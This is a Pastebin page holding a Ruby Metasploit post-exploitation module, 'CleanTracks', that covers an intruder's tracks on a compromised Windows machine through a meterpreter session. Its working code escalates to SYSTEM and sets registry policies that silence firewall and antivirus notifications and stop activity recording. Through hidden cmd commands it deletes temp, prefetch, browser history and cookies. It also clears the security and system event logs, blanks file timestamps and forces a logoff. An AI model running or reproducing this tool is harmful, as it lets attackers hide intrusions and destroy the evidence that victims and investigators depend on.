Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- #
- # [ CleanTracks.rb ] auxiliary module.
- # $Id$ 1.4 Author: pedr0 Ubuntu [r00t-3xp10it]
- # Hosted By: peterubuntu10[at]sourceforge[dot]net
- # http://sourceforge.net/projects/msf-auxiliarys/
- # ---------------------------------------------
- # [ Port the auxiliary module to metasploit database ]:
- # [Kali linux] COPY TO: /usr/share/metasploit-framework/modules/auxiliary/analyze/CleanTracks.rb
- # [Ubuntu linux] COPY TO: /opt/metasploit/apps/pro/msf3/modules/auxiliary/analyze/CleanTracks.rb
- # [Manually Path Search]: root@kali:~# locate modules/auxiliary/analyze
- # ----------------------------------------------
- # [ EXAMPLE USAGE ]:
- # msf > reload_all
- # msf > use auxiliary/analyze/CleanTracks
- # msf post(CleanTracks) > info
- # msf post(CleanTracks) > show options
- # msf post(CleanTracks) > show advanced options
- # msf post(CleanTracks) > set [option]
- # msf post(CleanTracks) > exploit
- #
- ##
- # -----------------------------------
- # Module Dependencies
- # -----------------------------------
- require 'rex'
- require 'msf/core'
- require 'msf/core/post/common'
- require 'msf/core/post/windows/priv'
- require 'msf/core/post/windows/registry'
- require 'msf/core/post/windows/accounts'
- # require 'rex/post/meterpreter'
- # -------------------------------------
- # Class name should reflect directories
- # -------------------------------------
- class Metasploit3 < Msf::Post
- Rank = ExcellentRanking
- include Msf::Post::Common
- include Msf::Post::Windows::Priv
- include Msf::Post::Windows::Registry
- include Msf::Post::Windows::Accounts
- # include Rex::Post::Meterpreter::Extensions::Priv::Fs
- # ------------------------------------
- # Building Metasploit/Armitage info/GUI
- # ------------------------------------
- def initialize(info={})
- super(update_info(info,
- 'Name' => 'CleanTracks auxiliary 1.4',
- 'Description' => %q{
- this module needs a meterpreter session open to cover,
- your fingerprints in target system after a sucessfully exploitation,
- it rellys on registry keys and cmd commands to achieve that goal.
- "Also we can set more than one option to run simultaneously"
- stage1: prevents the creation of data in target system by adding
- registry policie keys into target regedit, this module
- should be run just after a sucessfully exploitation.
- stage2: clear temp/prefetch folders, flushdns cache, clear eventlogs
- this module should be run befor leaving the current session
- also we can only use stage2 without runing stage1 but it will
- be more uneffective that runing the two stages separately.
- getsys: getpriv msf module to elevate current session to
- authority/system, its advice to run it befor runnig
- any of the stages describe above (stage1 and stage2)
- logoff: logoff target machine (optional, more effective).
- },
- 'License' => UNKNOWN_LICENSE,
- 'Author' =>
- [
- 'peterubuntu10[at]sourceforge[dot]net', # module author
- 'Special thanks to [ IsSUe ]', # testing debugging
- ],
- 'Version' => '$Revision: 1.4',
- 'DisclosureDate' => 'dec 12 2015',
- 'Platform' => 'windows',
- 'Arch' => 'x86',
- 'References' =>
- [
- [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
- [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],
- [ 'URL', 'http://sourceforge.net/p/msf-auxiliarys/discussion/general/thread/642cc0f1/?limit=25'],
- [ 'URL', 'http://www.fireeye.com/blog/threat-research/2013/08/execute.html' ],
- [ 'URL', 'http://windowsir.blogspot.pt/2013/07/howto-determine-user-access-to-files.html' ],
- [ 'URL', 'http://www.magnetforensics.com/computer-forensics/forensic-analysis-of-lnk-files' ],
- ],
- 'DefaultOptions' =>
- {
- 'SESSION' => '1',
- },
- 'SessionTypes' => [ 'meterpreter' ]
- ))
- register_options(
- [
- OptString.new('SESSION', [ true, 'The session number to run the module on']),
- OptBool.new('stage1', [ false, 'Prevents the creation of data in target system' , false]),
- OptBool.new('stage2', [ false, 'Clear EventLogs, temp/prefetch, cookies, flushdns' , false]),
- OptBool.new('getsys', [ false, 'Elevate current session to nt authority/system' , false]),
- OptBool.new('logoff', [ false, 'Logoff target system (no prompt) in 10 sec.' , false])
- ], self.class)
- register_advanced_options(
- [
- OptBool.new('mace', [ false, 'Blank MACE values in payload directory' , false]),
- OptBool.new('revert', [ false, 'Revert regedit policies to default values' , false])
- ], self.class)
- end
- # ----------------------------------------
- # Check for proper Platform (windows32/64)
- # ----------------------------------------
- # unsupported if client.platform !~ /win32|win64/i
- def unsupported
- print_error("This auxiliary only runs against windows systems!")
- print_error("Please execute [info] for further information.")
- raise Rex::Script::Completed
- end
- # --------------------------------------
- # Getting session authority/system privs
- # --------------------------------------
- def ls_getsys
- toor = []
- # elevate meterpreter session to system
- toor = client.sys.config.getuid
- print_line(" Session UID: #{toor}")
- print_line(" Elevate session to:[ NT AUTHORITY/SYSTEM ]")
- print_line(" ------------------------------------------")
- # getprivs loop funtion
- client.sys.config.getprivs.each do |priv|
- print_line(" Impersonate token => #{priv}")
- end
- # checking results (if_system)
- result = client.priv.getsystem
- if result and result[0]
- csuid = []
- csuid = client.sys.config.getuid
- # print results on screen if successefully executed
- print_line(" ------------------------------------------")
- print_line(" Current Session UID: #{csuid}")
- else
- # error display in executing command
- print_error("Fail to obtain [NT AUTHORITY/SYSTEM] access!")
- print_error("Please manually run: getsystem to gain system privs!")
- end
- end
- # ------------------------------------
- # STAGE1 - REGISTRY POLICIES KEYS
- # ------------------------------------
- def ls_stage1
- # list of arrays to be executed
- hacks = [
- 'REG ADD "HKLM\\System\\CurrentControlSet\\Control\\Update" /v UpdateMode /t REG_DWORD /d 1 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f',
- 'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem" /v NtfsDisableLastAccessUpdate /t REG_DWORD /d 1 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32" /v NoFileMRU /t REG_DWORD /d 1 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoInstrumentation /t REG_DWORD /d 1 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoRecentDocsHistory /t REG_DWORD /d 1 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v ClearRecentDocsOnExit /t REG_DWORD /d 1 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v EnableInstallerDetection /t REG_DWORD /d 0 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f',
- 'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management" /v ClearPageFileATShutdown /t REG_SZ /d 1 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\internet Settings\\Url History" /v DaysToKeep /t REG_DWORD /d 0 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Cache" /v Persistent /t REG_DWORD /d 0 /f',
- 'RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True'
- ]
- r=''
- # executing list of arrays on target system and display info on screen
- print_line("")
- print_line("")
- print_line(" Prevents the creation of data in target host by")
- print_line(" adding registry policie keys into target regedit")
- print_line(" ------------------------------------------")
- session.response_timeout=120
- hacks.each do |cmd|
- begin
- # execute cmd prompt in a hidden channelized windows
- r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
- print_good(" add Key => #{cmd}")
- # close client channel when done
- while(d = r.channel.read)
- break if d == ""
- end
- r.channel.close
- r.close
- # print display on screen
- print_line(" ------------------------------------------")
- print_line(" Remmenber to run stage2 befor exit session")
- rescue ::Exception => e
- print_error("Error Running Command: #{e.class} #{e}")
- print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
- end
- end
- end
- # ----------------------------------------------
- # STAGE2 - CLEAR TEMP/PREFETCH/COOKIES/EVENTLOGS
- # ----------------------------------------------
- def ls_stage2
- # list of arrays to be executed
- hacks = [
- 'ipconfig /flushdns',
- 'DEL /q /f /s %temp%',
- 'DEL /q /f /s %windir%\\*.log',
- 'DEL /q /f /s %Userprofile%\\*.lnk',
- 'DEL /q /f /s %windir%\\Prefetch\\*.*',
- 'DEL /q /f /s %appdata%\\Mozilla\\Firefox\\Profiles\\*.*',
- 'DEL /q /f /s %appdata%\\Microsoft\\Windows\\Recent\\*.*',
- 'DEL /q /f /s %appdata%\\Microsoft\\Windows\\Cookies\\*.*',
- 'DEL /q /f /s %appdata%\\Microsoft\\Windows\\History\\*.dat',
- 'DEL /q /f %appdata%\\Google\\Chrome\\"User Data"\\Default\\*.tmp',
- 'DEL /q /s /f %USERPROFILE%\AppData\Local\Microsoft\Windows\History',
- 'DEL /q /f %appdata%\\Google\\Chrome\\"User Data"\\Default\\History\\*.*',
- 'DEL /q /f %appdata%\\Google\\Chrome\\"User Data"\\Default\\Cookies\\*.*',
- 'DEL /q /s /f %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies\*.*',
- 'DEL /q /f %Userprofile%\\"Local Settings"\\"Temporary Internet Files"\\*.*',
- 'REG DELETE "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU" /f',
- 'REG DELETE "HKLM\\System\\CurrentControlSet\\Services\\Netlogon\\Parameters" /v sitename /f',
- 'REG ADD "HKLM\\System\\CurrentControlSet\\Control\\Update" /v UpdateMode /t REG_DWORD /d 1 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU" /ve /t REG_SZ /f',
- 'REG ADD HKLM\System\CurrentControlSet\Services\Netlogon\Parameters /v sitename /t REG_SZ /d x0d /f',
- 'REG DELETE "HKCU\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" /f',
- 'REG ADD "HKCU\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" /ve /t REG_SZ /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Applets\\Regedit" /v LastKey /t REG_SZ /d x0d /f',
- 'RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True',
- 'history /f'
- ]
- r=''
- # executing list of arrays on target system and display info on screen
- print_line("")
- print_line("")
- print_line(" This module will clear temp/prefetch, flushdns")
- print_line(" EventLogs, temporary internet files, cookies!")
- print_line(" ------------------------------------------")
- session.response_timeout=120
- hacks.each do |cmd|
- begin
- # execute cmd prompt in a hidden channelized windows
- r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
- print_line(" Executing => #{cmd}")
- # close client channel when done
- while(d = r.channel.read)
- break if d == ""
- end
- r.channel.close
- r.close
- # print display on screen
- print_line(" ------------------------------------------")
- print_line(" All cmd Commands executed successfully!")
- rescue ::Exception => e
- print_error("Error Running Command: #{e.class} #{e}")
- print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
- end
- end
- def ls_clearev
- # list of IDS event logfiles to clear
- evtlogs = [
- 'system',
- 'security',
- 'dns server',
- 'application',
- 'directory service',
- 'file replication service'
- ]
- begin
- # clear IDS event logfiles
- print_line(" Clean EventLogs on:#{sysinfo['Computer']}")
- print_line(" ------------------------------------------")
- evtlogs.each do |evl|
- print_line(" Cleaning => #{evl} EventLogs")
- log = session.sys.eventlog.open(evl)
- log.clear
- end
- # print display on screen
- print_line(" ------------------------------------------")
- print_line(" All current EventLogs have been cleared!")
- rescue ::Exception => e
- print_error("Error: #{e.class} #{e}")
- print_error("Try to rise meterpreter session to [NT AUTHORITY/SYSTEM] befor runing this module")
- end
- end
- end
- # ---------------------------------------
- # CHANGE MACE VALUES IN PAYLOAD DIRECTORY
- # ---------------------------------------
- def ls_mace
- session = client
- # grab the location of payload in target
- file_path = client.fs.dir.pwd
- # clear MACE values of payload directory recursive
- print_line("")
- print_line("")
- print_line(" Blank MACE attributes recursive")
- print_line(" ------------------------------------------")
- # using metasploit API to blank mace directory recursive
- client.priv.fs.blank_directory_mace(file_path)
- print_line(" TimeStomp => #{file_path}")
- print_line(" ------------------------------------------")
- print_line(" Directory MACE attributes blanked!")
- rescue ::Exception => e
- print_error("Error: #{e.class} #{e}")
- print_error("Try to rise meterpreter session to [NT AUTHORITY/SYSTEM] befor runing this module")
- end
- # ---------------------------------
- # REVERT POLICIES TO DEFAULT VALUES
- # ---------------------------------
- def ls_revert
- # list of arrays to be executed
- default = [
- 'REG ADD "HKLM\\System\\CurrentControlSet\\Control\\Update" /v UpdateMode /t REG_DWORD /d 0 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 0 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 0 /f',
- 'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem" /v NtfsDisableLastAccessUpdate /t REG_DWORD /d 0 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32" /v NoFileMRU /t REG_DWORD /d 0 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoInstrumentation /t REG_DWORD /d 0 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoRecentDocsHistory /t REG_DWORD /d 0 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v ClearRecentDocsOnExit /t REG_DWORD /d 0 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v EnableInstallerDetection /t REG_DWORD /d 1 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 0 /f',
- 'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management" /v ClearPageFileATShutdown /t REG_SZ /d 0 /f',
- 'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\internet Settings\\Url History" /v DaysToKeep /t REG_DWORD /d 15 /f',
- 'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Cache" /v Persistent /t REG_DWORD /d 1 /f',
- 'RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True',
- 'history /f'
- ]
- r=''
- # executing list of arrays on target system and display info on screen
- print_line("")
- print_line("")
- print_line(" Reverts all registry policies keys changed")
- print_line(" by stage1 option to there default values!")
- print_line(" ------------------------------------------")
- session.response_timeout=120
- default.each do |cmd|
- begin
- # execute cmd prompt in a hidden channelized windows
- r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
- print_line(" Defaults => #{cmd}")
- # close client channel when done
- while(d = r.channel.read)
- break if d == ""
- end
- r.channel.close
- r.close
- # print display on screen
- print_line(" ------------------------------------------")
- print_line(" Target system its now logging activity!")
- rescue ::Exception => e
- print_error("Error Running Command: #{e.class} #{e}")
- print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
- end
- end
- end
- # ------------------------------------
- # LOGOFF TARGET MACHINE
- # ------------------------------------
- def ls_logoff
- r=''
- print_line("")
- print_line("")
- print_line(" Logoff: #{sysinfo['Computer']} in 10 sec.")
- # execute cmd prompt in a hidden channelized windows!
- r = session.sys.process.execute("cmd.exe /c shutdown /l /f /q /t 10", nil, {'Hidden' => true, 'Channelized' => true})
- # close channel when done
- r.channel.close
- r.close
- print_line(" exploitation ended! have a safe return...")
- rescue ::Exception => e
- print_error("Error Running Command: #{e.class} #{e}")
- print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
- end
- # ------------------------------------------------
- # MAIN DISPLAY WINDOWS (ALL MODULES)
- # Running sellected modules against session target
- # ------------------------------------------------
- def run
- # Variable declarations
- session = client
- sysnfo = session.sys.config.sysinfo
- runtor = client.sys.config.getuid
- runsession = client.session_host
- directory = client.fs.dir.pwd
- hpat = client.fs.file.expand_path("%HOMEPATH%")
- # Print banner and scan results on screen
- print_line(" +--------------------------------------------+")
- print_line(" | * CleanTracks * |")
- print_line(" | Cover your fingerprints in target system |")
- print_line(" | by deleting cookies,cache,eventlogs,etc |")
- print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |")
- print_line(" +--------------------------------------------+")
- print_line("")
- print_line(" Running on session : #{datastore['SESSION']}")
- print_line(" Computer : #{sysnfo['Computer']}")
- print_line(" Operative System : #{sysnfo['OS']}")
- print_line(" Target IP addr : #{runsession}")
- print_line(" Session UID : #{runtor}")
- print_line(" Home Path : #{hpat}")
- print_line(" Payload directory : #{directory}")
- print_line("")
- print_line("")
- # ------------------------------------
- # Selected settings to run
- # ------------------------------------
- if datastore['getsys']
- ls_getsys
- end
- if datastore['stage1']
- ls_stage1
- end
- if datastore['stage2']
- ls_stage2
- end
- if datastore['mace']
- ls_mace
- end
- if datastore['revert']
- ls_revert
- end
- if datastore['logoff']
- ls_logoff
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment